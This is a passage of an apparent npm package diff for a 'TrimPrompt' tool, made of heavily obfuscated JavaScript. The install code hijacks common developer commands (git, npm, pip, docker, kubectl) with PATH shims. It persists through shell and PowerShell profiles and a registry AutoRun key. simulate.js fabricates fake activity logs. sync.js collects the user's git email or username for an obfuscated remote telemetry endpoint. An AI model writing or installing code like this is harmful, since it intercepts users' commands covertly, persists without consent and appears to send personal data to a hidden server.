getBroadcastCommand(){const _0x797a4=a0_0x4fa91a;return _0x797a4(0xe6);}function installShims(){const _0x4743da=a0_0x4fa91a,_0x3caca5=path['join'](os['homedir'](),'.trimprompt',_0x4743da(0xf7));try{!fs[_0x4743da(0xe8)](_0x3caca5)&&fs[_0x4743da(0x125)](_0x3caca5,{'recursive':!![]});const _0x21a10f=os[_0x4743da(0xe0)]()===_0x4743da(0xda);for(const _0x20c470 of SHIMMED_COMMANDS){if(_0x21a10f){const _0x418f0c=path[_0x4743da(0x118)](_0x3caca5,_0x20c470+_0x4743da(0x113));fs[_0x4743da(0x107)](_0x418f0c,'@echo\x20off\x0atrim\x20'+_0x20c470+_0x4743da(0xd0),'utf8');const _0x476cb4=path[_0x4743da(0x118)](_0x3caca5,_0x20c470+'.ps1');fs['writeFileSync'](_0x476cb4,_0x4743da(0x104)+_0x20c470+'\x20@args\x0a',_0x4743da(0x12b));const _0x32e798=path[_0x4743da(0x118)](_0x3caca5,_0x20c470);fs[_0x4743da(0x107)](_0x32e798,_0x4743da(0xc7)+_0x20c470+_0x4743da(0xeb),'utf8');}else{const _0x4a8546=path[_0x4743da(0x118)](_0x3caca5,_0x20c470);fs[_0x4743da(0x107)](_0x4a8546,_0x4743da(0xc7)+_0x20c470+'\x20\x22$@\x22\x0a',_0x4743da(0x12b)),fs['chmodSync'](_0x4a8546,_0x4743da(0xcb));}}let _0x2e4f6a=![],_0x34a84d='';if(_0x21a10f)try{const _0x270741=getExecSync(),_0x4b78c6=_0x4743da(0x121)+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x3caca5+_0x4743da(0x12c),_0x97e383=collectPowerShellProfiles();for(const _0x93deb5 of _0x97e383){ensureProfileContains(_0x93deb5,_0x3caca5,_0x4b78c6);}try{const _0x16a1fc=getExecFileSync(),_0x3b8914=_0x4743da(0x131)+_0x3caca5+_0x4743da(0x11d)+_0x3caca5+_0x4743da(0xf1),_0x3f352a='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor';let _0x3a9dd0='';try{const _0x2e6601=_0x4743da(0x109)+_0x3f352a+_0x4743da(0x127);_0x3a9dd0=_0x16a1fc('powershell.exe',[_0x4743da(0xfc),_0x4743da(0xcc),_0x2e6601],{'encoding':_0x4743da(0x12b),'stdio':[_0x4743da(0x126),_0x4743da(0x126),'ignore']})[_0x4743da(0xde)]();}catch{}if(!_0x3a9dd0[_0x4743da(0xc8)](_0x3caca5)){const _0x38d14c=_0x3a9dd0?_0x3a9dd0+_0x4743da(0xd6)+_0x3b8914:_0x3b8914,_0x131133=_0x4743da(0xc5)+_0x3f352a+_0x4743da(0x136)+_0x3f352a+_0x4743da(0x137)+_0x38d14c+'\x27';_0x16a1fc(_0x4743da(0x11b),[_0x4743da(0xfc),_0x4743da(0xcc),_0x131133],{'stdio':_0x4743da(0xcd)});}}catch{}try{const _0x2e628e=_0x3caca5[_0x4743da(0x116)](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0x14d263,_0x560390)=>'/'+_0x560390[_0x4743da(0x11c)]()),_0x165fb9=_0x4743da(0x121)+PROFILE_MARKER+_0x4743da(0x111)+_0x2e628e+_0x4743da(0x124),_0x554c11=getBashProfilesWindows();let _0x24f379=![];for(const _0x349450 of _0x554c11){fs[_0x4743da(0xe8)](_0x349450)&&(ensureProfileContains(_0x349450,_0x2e628e,_0x165fb9),_0x24f379=!![]);}!_0x24f379&&ensureProfileContains(_0x554c11[0x0],_0x2e628e,_0x165fb9);}catch{}const _0xc01ecb=_0x4743da(0xe1),_0x3dc764=_0x270741(_0x4743da(0xee)+_0xc01ecb+'\x22',{'encoding':_0x4743da(0x12b),'stdio':['pipe',_0x4743da(0x126),_0x4743da(0xcd)]})['trim']();if(!_0x3dc764[_0x4743da(0xc8)](_0x3caca5)){const _0x33dd08=_0x3caca5+';'+_0x3dc764,_0x55e101=_0x33dd08['replace'](/'/g,'\x27\x27'),_0x27ac2d=_0x4743da(0xea)+_0x55e101+_0x4743da(0x115);_0x270741('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x27ac2d+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}const _0xda6ada=path[_0x4743da(0x118)](process.env.APPDATA||'',_0x4743da(0x117),_0x4743da(0x12e));if(fs[_0x4743da(0xe8)](_0xda6ada))try{fs[_0x4743da(0xf6)](_0xda6ada);}catch{}_0x2e4f6a=!![];}catch(_0x217d16){_0x34a84d=_0x4743da(0xdd)+_0x3caca5;}else try{const _0x267850=_0x4743da(0x123)+_0x3caca5+_0x4743da(0x124),_0x2db5c2=os[_0x4743da(0x106)](),_0x102d66=[_0x4743da(0xca),_0x4743da(0xdc),_0x4743da(0xd4),_0x4743da(0x138)];let _0x58c82a=![];for(const _0x3a9380 of _0x102d66){const _0x92c270=path[_0x4743da(0x118)](_0x2db5c2,_0x3a9380);fs[_0x4743da(0xe8)](_0x92c270)&&(ensureProfileContains(_0x92c270,_0x3caca5,_0x4743da(0x121)+PROFILE_MARKER+'\x0a'+_0x267850),_0x58c82a=!![]);}if(!_0x58c82a){const _0x331251=path[_0x4743da(0x118)](_0x2db5c2,_0x4743da(0xca));ensureProfileContains(_0x331251,_0x3caca5,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x267850);}_0x2e4f6a=!![];}catch(_0x4603a5){_0x34a84d='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x3caca5+':$PATH\x22';}const _0x1c3074=_0x4743da(0xf2)+SHIMMED_COMMANDS[_0x4743da(0x103)]+'\x20commands.\x0a\x0a',_0x4176e7=_0x2e4f6a?_0x1c3074+_0x4743da(0x11f):_0x1c3074+_0x4743da(0xc4)+_0x34a84d;return{'success':!![],'pathDir':_0x3caca5,'message':_0x4176e7};}catch(_0x3ba15d){return{'success':![],'pathDir':_0x3caca5,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x3ba15d[_0x4743da(0xd9)]};}}function a0_0x5cf8(_0xd7da1e,_0x4192c4){_0xd7da1e=_0xd7da1e-0xc1;const _0x1de8fd=a0_0x1de8();let _0x5cf896=_0x1de8fd[_0xd7da1e];return _0x5cf896;}function uninstallShims(){const _0xf13883=a0_0x4fa91a,_0x2ed28e=path[_0xf13883(0x118)](os[_0xf13883(0x106)](),_0xf13883(0x134),'shims'),_0x5d2c7b=os[_0xf13883(0xe0)]()===_0xf13883(0xda);try{if(_0x5d2c7b){const _0x4c4dfe=getExecSync();try{const _0x56dd15=getExecFileSync(),_0x2fa8f7=_0xf13883(0x110),_0xe080=_0xf13883(0x109)+_0x2fa8f7+_0xf13883(0x127),_0x2f5dff=_0x56dd15(_0xf13883(0x11b),['-NoProfile',_0xf13883(0xcc),_0xe080],{'encoding':_0xf13883(0x12b),'stdio':[_0xf13883(0x126),_0xf13883(0x126),_0xf13883(0xcd)]})[_0xf13883(0xde)]();if(_0x2f5dff[_0xf13883(0xc8)](_0x2ed28e)){const _0x1301a8=_0x2f5dff[_0xf13883(0xed)](_0xf13883(0xd6))[_0xf13883(0x10a)](_0x51f0c1=>!_0x51f0c1['includes'](_0x2ed28e));if(_0x1301a8[_0xf13883(0x103)]===0x0){const _0x2e3488=_0xf13883(0x10c)+_0x2fa8f7+_0xf13883(0xdf);_0x56dd15(_0xf13883(0x11b),[_0xf13883(0xfc),'-Command',_0x2e3488],{'stdio':'ignore'});}else{const _0x5e4c4c=_0x1301a8['join'](_0xf13883(0xd6)),_0x185524=_0xf13883(0x130)+_0x2fa8f7+_0xf13883(0x137)+_0x5e4c4c+'\x27';_0x56dd15(_0xf13883(0x11b),['-NoProfile','-Command',_0x185524],{'stdio':'ignore'});}}}catch{}try{const _0x2df8c3=collectPowerShellProfiles();for(const _0x12582f of _0x2df8c3){removeProfileBlock(_0x12582f,PROFILE_MARKER);}}catch{}try{for(const _0x58758b of getBashProfilesWindows()){removeProfileBlock(_0x58758b,PROFILE_MARKER);}}catch{}try{const _0x4519a4=_0xf13883(0xe1),_0x29057a=_0x4c4dfe(_0xf13883(0xee)+_0x4519a4+'\x22',{'encoding':_0xf13883(0x12b),'stdio':[_0xf13883(0x126),_0xf13883(0x126),'ignore']})[_0xf13883(0xde)]();if(_0x29057a[_0xf13883(0xc8)](_0x2ed28e)){const _0x32cd8d=_0x29057a[_0xf13883(0xed)](';')['filter'](_0x2d4f86=>_0x2d4f86[_0xf13883(0xde)]()[_0xf13883(0x11c)]()!==_0x2ed28e[_0xf13883(0x11c)]())['join'](';'),_0x3d1d74=_0x32cd8d[_0xf13883(0x116)](/'/g,'\x27\x27'),_0x277a08=_0xf13883(0xea)+_0x3d1d74+_0xf13883(0x115);_0x4c4dfe(_0xf13883(0xee)+_0x277a08+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0xf13883(0xcd)});}}catch{}}else{const _0x41eab4=os[_0xf13883(0x106)](),_0x934275=['.bashrc',_0xf13883(0xdc),_0xf13883(0xd4),_0xf13883(0x138)];for(const _0x37da22 of _0x934275){removeProfileBlock(path[_0xf13883(0x118)](_0x41eab4,_0x37da22),PROFILE_MARKER);}}if(fs[_0xf13883(0xe8)](_0x2ed28e)){const _0x2f443a=fs['readdirSync'](_0x2ed28e);for(const _0x304a5f of _0x2f443a){fs[_0xf13883(0xf6)](path[_0xf13883(0x118)](_0x2ed28e,_0x304a5f));}fs[_0xf13883(0xf9)](_0x2ed28e);}return{'success':!![],'message':_0xf13883(0x108)};}catch(_0x924be3){return{'success':![],'message':_0xf13883(0x135)+_0x924be3[_0xf13883(0xd9)]};}}function a0_0x1de8(){const _0x339e87=['utf8',';\x22\x20+\x20$env:PATH\x0a','configurable','trim.ps1','1YRChmM','Set-ItemProperty\x20-Path\x20\x27','if\x20exist\x20\x22','ruff','docker','.trimprompt','Failed\x20to\x20uninstall\x20shims:\x20','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','.profile','kubectl','map','defineProperty','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','New-Item\x20-Path\x20\x27','pip','#!/bin/sh\x0aexec\x20trim\x20','includes','$PROFILE.CurrentUserCurrentHost','.bashrc','755','-Command','ignore','114196grQBzO','yarn','\x20%*\x0a','get','child_process','190350pmSbMh','.bash_profile','path','\x20&\x20','12RyuUIZ','getOwnPropertyNames','message','win32','read','.zshrc','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','trim','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','platform','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','grep','writable','pnpm','powershell','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','\x20-NoProfile\x20-Command\x20\x22','existsSync','622730DRuJKZ','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','\x20\x22$@\x22\x0a','__esModule','split','powershell\x20-NoProfile\x20-Command\x20\x22','cat','300uCKAtC',';%PATH%\x22','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','__importStar','tree','1138784Ulrmwl','unlinkSync','shims','__createBinding','rmdirSync','505526oKyxlP','npx','-NoProfile','call','818154oMwRaI','TrimPrompt\x20Shims\x20PATH','1991633Mlfccn','some','default','length','&\x20trim\x20','execSync','homedir','writeFileSync','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','filter','installShims','Remove-ItemProperty\x20-Path\x20\x27','pip3','__setModuleDefault','uninstallShims','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','\x0aexport\x20PATH=\x22','appendFileSync','.cmd','glab','\x27,\x20\x27User\x27)','replace','npm','join','hasOwnProperty','create','powershell.exe','toLowerCase','\x22\x20set\x20\x22PATH=','git','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','readFileSync','\x0a#\x20','getOwnPropertyDescriptor','export\x20PATH=\x22',':$PATH\x22\x0a','mkdirSync','pipe','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','push','$PROFILE.CurrentUserAllHosts','dirname'];a0_0x1de8=function(){return _0x339e87;};return a0_0x1de8();}
|
package/simulate.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x36ae57=a0_0x515d;(function(_0x5bf8fb,_0x3c808b){const _0x441506=a0_0x515d,_0x2d8cbd=_0x5bf8fb();while(!![]){try{const _0x18f1a3=-parseInt(_0x441506(0x125))/0x1+-parseInt(_0x441506(0x11b))/0x2+-parseInt(_0x441506(0x12b))/0x3*(-parseInt(_0x441506(0x102))/0x4)+-parseInt(_0x441506(0x10e))/0x5+-parseInt(_0x441506(0x109))/0x6*(parseInt(_0x441506(0x10f))/0x7)+parseInt(_0x441506(0xf0))/0x8+parseInt(_0x441506(0x100))/0x9;if(_0x18f1a3===_0x3c808b)break;else _0x2d8cbd['push'](_0x2d8cbd['shift']());}catch(_0x83e8d7){_0x2d8cbd['push'](_0x2d8cbd['shift']());}}}(a0_0x450f,0x1a056));Object[a0_0x36ae57(0x12e)](exports,a0_0x36ae57(0xf4),{'value':!![]});const tracker_1=require('./tracker');console['log'](a0_0x36ae57(0x117));function a0_0x515d(_0x3f072f,_0x5a02d7){_0x3f072f=_0x3f072f-0xef;const _0x450f6a=a0_0x450f();let _0x515d51=_0x450f6a[_0x3f072f];return _0x515d51;}const models=[a0_0x36ae57(0x123),'gpt-4o',a0_0x36ae57(0x113),'gemini-1-5-pro',a0_0x36ae57(0x124),'claude-3-opus'],commands=[{'cmd':a0_0x36ae57(0xf3),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'[a0_0x36ae57(0x12a)](0x32),'comp':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','exitCode':0x0},{'cmd':'cargo\x20test','raw':a0_0x36ae57(0x110)+a0_0x36ae57(0x101)[a0_0x36ae57(0x12a)](0x28)+a0_0x36ae57(0x11f),'comp':a0_0x36ae57(0x116),'exitCode':0x0},{'cmd':a0_0x36ae57(0x118),'raw':a0_0x36ae57(0xf2)+a0_0x36ae57(0xff)+a0_0x36ae57(0xfd),'comp':a0_0x36ae57(0x111),'exitCode':0x0},{'cmd':a0_0x36ae57(0xf9),'raw':a0_0x36ae57(0x10c)+a0_0x36ae57(0x129)+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+a0_0x36ae57(0xf6),'comp':a0_0x36ae57(0x127),'exitCode':0x0},{'cmd':a0_0x36ae57(0x120),'raw':'NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a'+a0_0x36ae57(0x10a)+a0_0x36ae57(0x108)+a0_0x36ae57(0xfe)+a0_0x36ae57(0xfa),'comp':a0_0x36ae57(0x114),'exitCode':0x0},{'cmd':'pip\x20install\x20tensorflow\x20pandas\x20numpy','raw':a0_0x36ae57(0x11d)+a0_0x36ae57(0x11a)+a0_0x36ae57(0x112),'comp':a0_0x36ae57(0xf7),'exitCode':0x0},{'cmd':a0_0x36ae57(0xf5),'raw':'commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a'+a0_0x36ae57(0x105),'comp':a0_0x36ae57(0x122),'exitCode':0x0},{'cmd':'npm\x20run\x20lint','raw':a0_0x36ae57(0x121)+a0_0x36ae57(0xf8)+a0_0x36ae57(0x106),'comp':a0_0x36ae57(0x107),'exitCode':0x0}],startTime=Date[a0_0x36ae57(0x104)]()-0x36ee80;function a0_0x450f(){const _0x1d51f0=['Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','comp','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','kubectl\x20get\x20pods\x20-n\x20production','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','claude-3-5-sonnet','gemini-1-5-flash','145232dAkXqO','stats.json','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','raw','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','repeat','24693hShZyF','tracker','writeFileSync','defineProperty','length','951240rIqjOI','random','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','git\x20diff\x20main','__esModule','git\x20log\x20-n\x205','Completed\x203\x20of\x203\x20assets\x20successfully.','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','.trimprompt','floor','found\x200\x20vulnerabilities\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','4042233vDfmrj','test\x20tests::test_case_','20HaHDRF','toISOString','now','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','npm\x20run\x20lint:\x20✖\x202\x20warnings','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','6IUMiUq','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','stringify','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','logExecution','291880dikCId','919576yoWogR','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','gpt-4o-mini','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','path','cargo\x20test:\x2045\x20passed,\x200\x20failed.','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','npm\x20install\x20lodash\x20express\x20uuid\x20react','exitCode','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','335278niVpsJ','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.'];a0_0x450f=function(){return _0x1d51f0;};return a0_0x450f();}for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math[a0_0x36ae57(0xfc)](Math[a0_0x36ae57(0xf1)]()*commands[a0_0x36ae57(0xef)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x36ae57(0x103)](),log=tracker_1[a0_0x36ae57(0x12c)][a0_0x36ae57(0x10d)](commandItem['cmd'],commandItem[a0_0x36ae57(0x128)],commandItem[a0_0x36ae57(0x11e)],commandItem[a0_0x36ae57(0x119)]),logs=tracker_1['tracker']['getLogs']();logs[a0_0x36ae57(0xef)]>0x0&&(logs[logs[a0_0x36ae57(0xef)]-0x1]['timestamp']=timestamp,require('fs')[a0_0x36ae57(0x12d)](require(a0_0x36ae57(0x115))['join'](require('os')['homedir'](),a0_0x36ae57(0xfb),a0_0x36ae57(0x126)),JSON[a0_0x36ae57(0x10b)](logs,null,0x2),'utf8'));}console['log'](a0_0x36ae57(0x11c));
|
package/sync.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x58f6eb=a0_0x1f00;(function(_0x3cb6ad,_0x133460){const _0x1fa759=a0_0x1f00,_0x3b2c1d=_0x3cb6ad();while(!![]){try{const _0x4544d7=-parseInt(_0x1fa759(0x168))/0x1+-parseInt(_0x1fa759(0x129))/0x2*(parseInt(_0x1fa759(0x160))/0x3)+-parseInt(_0x1fa759(0x159))/0x4*(parseInt(_0x1fa759(0x15a))/0x5)+-parseInt(_0x1fa759(0x14b))/0x6*(parseInt(_0x1fa759(0x11b))/0x7)+-parseInt(_0x1fa759(0x113))/0x8*(parseInt(_0x1fa759(0x156))/0x9)+-parseInt(_0x1fa759(0x123))/0xa+parseInt(_0x1fa759(0x13d))/0xb;if(_0x4544d7===_0x133460)break;else _0x3b2c1d['push'](_0x3b2c1d['shift']());}catch(_0x3b9123){_0x3b2c1d['push'](_0x3b2c1d['shift']());}}}(a0_0x9e15,0xe122e));function a0_0x9e15(){const _0x13cf0f=['36HURExt','https','path','from','port','TRIMPROMPT_USER_EMAIL','prototype','stringify','config.json','input_price_1m','configurable','GPT-4o\x20Mini','split','http','unlinkSync','search','protocol','GPT-4o','defineProperty','hostname','73503936kIanmh','TRIMPROMPT_TELEMETRY_URL','model_used','includes','application/json','startsWith','statusCode','last_sync_date','toISOString','get','trim','synced','readFileSync','env','7374cwAUuU','__importStar','length','writeFileSync','destroy','toFixed','catch','add','url','getOwnPropertyNames','toString','9ttLuse','.trimprompt','__setModuleDefault','3872uprRfH','4925XrZikh','URL','push','write','utf8','Claude\x203\x20Opus','194868yEevBT','estimated_compressed_tokens','parse','https://','getOwnPropertyDescriptor','ignore','hasOwnProperty','default','1715093iyXPkz','https:','pipe','.raw.txt','1981904xwvykx','claude-3-5-sonnet','git\x20config\x20user.email','request','join','POST','create','Gemini\x201.5\x20Pro','5453fLKQEU','end','getTime','userInfo','__esModule','trimp-production','existsSync','anonymous','7171080BcpmLw','logs','timeout','tokens_saved','/api/telemetry','filter'];a0_0x9e15=function(){return _0x13cf0f;};return a0_0x9e15();}var __createBinding=this&&this['__createBinding']||(Object[a0_0x58f6eb(0x119)]?function(_0x53560e,_0x2ea8f9,_0x59b0be,_0x876b7d){const _0x4b6ad1=a0_0x58f6eb;if(_0x876b7d===undefined)_0x876b7d=_0x59b0be;var _0x4b828c=Object[_0x4b6ad1(0x164)](_0x2ea8f9,_0x59b0be);(!_0x4b828c||(_0x4b6ad1(0x146)in _0x4b828c?!_0x2ea8f9[_0x4b6ad1(0x11f)]:_0x4b828c['writable']||_0x4b828c[_0x4b6ad1(0x133)]))&&(_0x4b828c={'enumerable':!![],'get':function(){return _0x2ea8f9[_0x59b0be];}}),Object[_0x4b6ad1(0x13b)](_0x53560e,_0x876b7d,_0x4b828c);}:function(_0x169c0d,_0x1cb1dc,_0x270ff9,_0x9a9dd6){if(_0x9a9dd6===undefined)_0x9a9dd6=_0x270ff9;_0x169c0d[_0x9a9dd6]=_0x1cb1dc[_0x270ff9];}),__setModuleDefault=this&&this[a0_0x58f6eb(0x158)]||(Object[a0_0x58f6eb(0x119)]?function(_0x2039aa,_0x1fe0cc){const _0x2ff7fd=a0_0x58f6eb;Object[_0x2ff7fd(0x13b)](_0x2039aa,_0x2ff7fd(0x167),{'enumerable':!![],'value':_0x1fe0cc});}:function(_0x400dbf,_0x47c87b){_0x400dbf['default']=_0x47c87b;}),__importStar=this&&this[a0_0x58f6eb(0x14c)]||(function(){var _0x46c21f=function(_0xc176c2){const _0x4f5dbb=a0_0x1f00;return _0x46c21f=Object[_0x4f5dbb(0x154)]||function(_0x368540){const _0xb82654=_0x4f5dbb;var _0x51f415=[];for(var _0x42d7ad in _0x368540)if(Object[_0xb82654(0x12f)][_0xb82654(0x166)]['call'](_0x368540,_0x42d7ad))_0x51f415[_0x51f415[_0xb82654(0x14d)]]=_0x42d7ad;return _0x51f415;},_0x46c21f(_0xc176c2);};return function(_0x24919f){const _0x572509=a0_0x1f00;if(_0x24919f&&_0x24919f[_0x572509(0x11f)])return _0x24919f;var _0x4d796c={};if(_0x24919f!=null){for(var _0x490327=_0x46c21f(_0x24919f),_0x4f1a6f=0x0;_0x4f1a6f<_0x490327[_0x572509(0x14d)];_0x4f1a6f++)if(_0x490327[_0x4f1a6f]!==_0x572509(0x167))__createBinding(_0x4d796c,_0x24919f,_0x490327[_0x4f1a6f]);}return __setModuleDefault(_0x4d796c,_0x24919f),_0x4d796c;};}());Object[a0_0x58f6eb(0x13b)](exports,a0_0x58f6eb(0x11f),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x58f6eb(0x12b))),os=__importStar(require('os')),http=__importStar(require(a0_0x58f6eb(0x136))),https=__importStar(require(a0_0x58f6eb(0x12a))),url_1=require(a0_0x58f6eb(0x153)),_cfg=[a0_0x58f6eb(0x163),a0_0x58f6eb(0x120),'.up.railway.app',a0_0x58f6eb(0x127)][a0_0x58f6eb(0x117)](''),_ep=process[a0_0x58f6eb(0x14a)]['_PS_EP']||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x58f6eb(0x15f),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x58f6eb(0x13a),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x58f6eb(0x134),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x58f6eb(0x11a),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path[a0_0x58f6eb(0x117)](os['homedir'](),a0_0x58f6eb(0x157)),configPath=path[a0_0x58f6eb(0x117)](baseDir,a0_0x58f6eb(0x131)),statsPath=path['join'](baseDir,'stats.json'),dailySyncPath=path[a0_0x58f6eb(0x117)](baseDir,'daily_sync.json');function getTodayDate(){const _0x1a7bba=a0_0x58f6eb;return new Date()[_0x1a7bba(0x145)]()[_0x1a7bba(0x135)]('T')[0x0];}function getDeveloperIdentity(){const _0x4bdecc=a0_0x58f6eb;if(process[_0x4bdecc(0x14a)]['TRIMPROMPT_USER_EMAIL'])return process[_0x4bdecc(0x14a)][_0x4bdecc(0x12e)];try{const {execSync:_0x1fb5e6}=require('child_process'),_0x1f05ce=_0x1fb5e6(_0x4bdecc(0x115),{'stdio':['ignore',_0x4bdecc(0x111),_0x4bdecc(0x165)]})[_0x4bdecc(0x155)]()[_0x4bdecc(0x147)]();if(_0x1f05ce&&_0x1f05ce[_0x4bdecc(0x140)]('@'))return _0x1f05ce;}catch{}try{const _0x474d47=os[_0x4bdecc(0x11e)]()['username'];if(_0x474d47)return _0x474d47;}catch{}return _0x4bdecc(0x122);}function 